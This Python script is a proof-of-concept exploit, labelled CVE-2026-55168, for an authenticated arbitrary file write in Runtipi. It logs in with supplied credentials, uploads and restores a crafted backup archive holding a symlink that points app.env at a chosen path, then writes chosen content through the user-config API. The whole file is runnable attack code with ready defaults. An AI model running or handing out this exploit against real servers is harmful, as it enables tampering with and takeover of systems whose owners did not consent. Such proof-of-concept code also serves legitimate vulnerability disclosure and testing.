#!/usr/bin/env python3
import argparse
import gzip
import io
import json
import re
import sys
import tarfile
import time
import urllib.error
import urllib.request
from http.cookiejar import CookieJar


def build_tar_gz_bytes(target_path: str) -> bytes:
    raw = io.BytesIO()
    with tarfile.open(fileobj=raw, mode="w") as tar:
        for directory in ("app-data", "app", "user-config"):
            info = tarfile.TarInfo(f"{directory}/")
            info.type = tarfile.DIRTYPE
            info.mode = 0o755
            tar.addfile(info)

        symlink = tarfile.TarInfo("user-config/app.env")
        symlink.type = tarfile.SYMTYPE
        symlink.linkname = target_path
        symlink.mode = 0o777
        tar.addfile(symlink)

    return gzip.compress(raw.getvalue())


def make_opener() -> urllib.request.OpenerDirector:
    cookie_jar = CookieJar()
    return urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cookie_jar))


def request(opener, method: str, url: str, *, data=None, headers=None):
    req = urllib.request.Request(url, data=data, headers=headers or {}, method=method)
    return opener.open(req, timeout=30)


def multipart_body(field_name: str, filename: str, payload: bytes, content_type: str):
    boundary = "----cve-2026-55168-boundary"
    parts = [
        f"--{boundary}\r\n".encode(),
        f'Content-Disposition: form-data; name="{field_name}"; filename="{filename}"\r\n'.encode(),
        f"Content-Type: {content_type}\r\n\r\n".encode(),
        payload,
        b"\r\n",
        f"--{boundary}--\r\n".encode(),
    ]
    body = b"".join(parts)
    return body, boundary


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-55168 Runtipi authenticated arbitrary file write PoC"
    )
    parser.add_argument("--base-url", default="http://127.0.0.1:3001")
    parser.add_argument("--username", required=True)
    parser.add_argument("--password", required=True)
    parser.add_argument("--app-urn", default="demoapp3:_user")
    parser.add_argument("--target-path", default="/data/state/proof.txt")
    parser.add_argument("--write-content", default="PWNED_FROM_USERCFG_WRITE")
    parser.add_argument("--output", default="")
    args = parser.parse_args()

    opener = make_opener()
    common_headers = {
        "Origin": args.base_url,
        "Referer": f"{args.base_url}/",
        "X-Forwarded-Host": re.sub(r"^https?://", "", args.base_url),
        "X-Forwarded-Proto": "https" if args.base_url.startswith("https://") else "http",
    }

    login_body = json.dumps({"username": args.username, "password": args.password}).encode()
    with request(
        opener,
        "POST",
        f"{args.base_url}/api/auth/login",
        data=login_body,
        headers={**common_headers, "Content-Type": "application/json"},
    ) as resp:
        if resp.status != 201:
            raise RuntimeError(f"Login failed: HTTP {resp.status}")

    archive_name = f"usercfg-symlink-{int(time.time())}.tar.gz"
    archive_bytes = build_tar_gz_bytes(args.target_path)
    if args.output:
        with open(args.output, "wb") as handle:
            handle.write(archive_bytes)

    upload_body, boundary = multipart_body("file", archive_name, archive_bytes, "application/gzip")
    with request(
        opener,
        "POST",
        f"{args.base_url}/api/backups/{args.app_urn}/upload",
        data=upload_body,
        headers={**common_headers, "Content-Type": f"multipart/form-data; boundary={boundary}"},
    ) as resp:
        if resp.status != 201:
            raise RuntimeError(f"Upload failed: HTTP {resp.status} {resp.read().decode(errors='replace')}")

    restore_body = json.dumps({"filename": archive_name}).encode()
    with request(
        opener,
        "POST",
        f"{args.base_url}/api/backups/{args.app_urn}/restore",
        data=restore_body,
        headers={**common_headers, "Content-Type": "application/json"},
    ) as resp:
        restore_response = resp.read().decode(errors="replace")
        if resp.status != 201:
            raise RuntimeError(f"Restore failed: HTTP {resp.status} {restore_response}")

    time.sleep(8)

    update_body = json.dumps({"dockerCompose": "", "appEnv": args.write_content}).encode()
    with request(
        opener,
        "PUT",
        f"{args.base_url}/api/user-config/{args.app_urn}",
        data=update_body,
        headers={**common_headers, "Content-Type": "application/json"},
    ) as resp:
        if resp.status != 200:
            raise RuntimeError(
                f"User-config update failed: HTTP {resp.status} {resp.read().decode(errors='replace')}"
            )

    result = {
        "base_url": args.base_url,
        "app_urn": args.app_urn,
        "archive_name": archive_name,
        "target_path": args.target_path,
        "write_content": args.write_content,
        "status": "ok",
    }
    print(json.dumps(result, indent=2))


if __name__ == "__main__":
    try:
        main()
    except urllib.error.HTTPError as exc:
        body = exc.read().decode(errors="replace")
        print(f"HTTPError: {exc.code} {body}", file=sys.stderr)
        sys.exit(1)
    except Exception as exc:
        print(f"Error: {exc}", file=sys.stderr)
        sys.exit(1)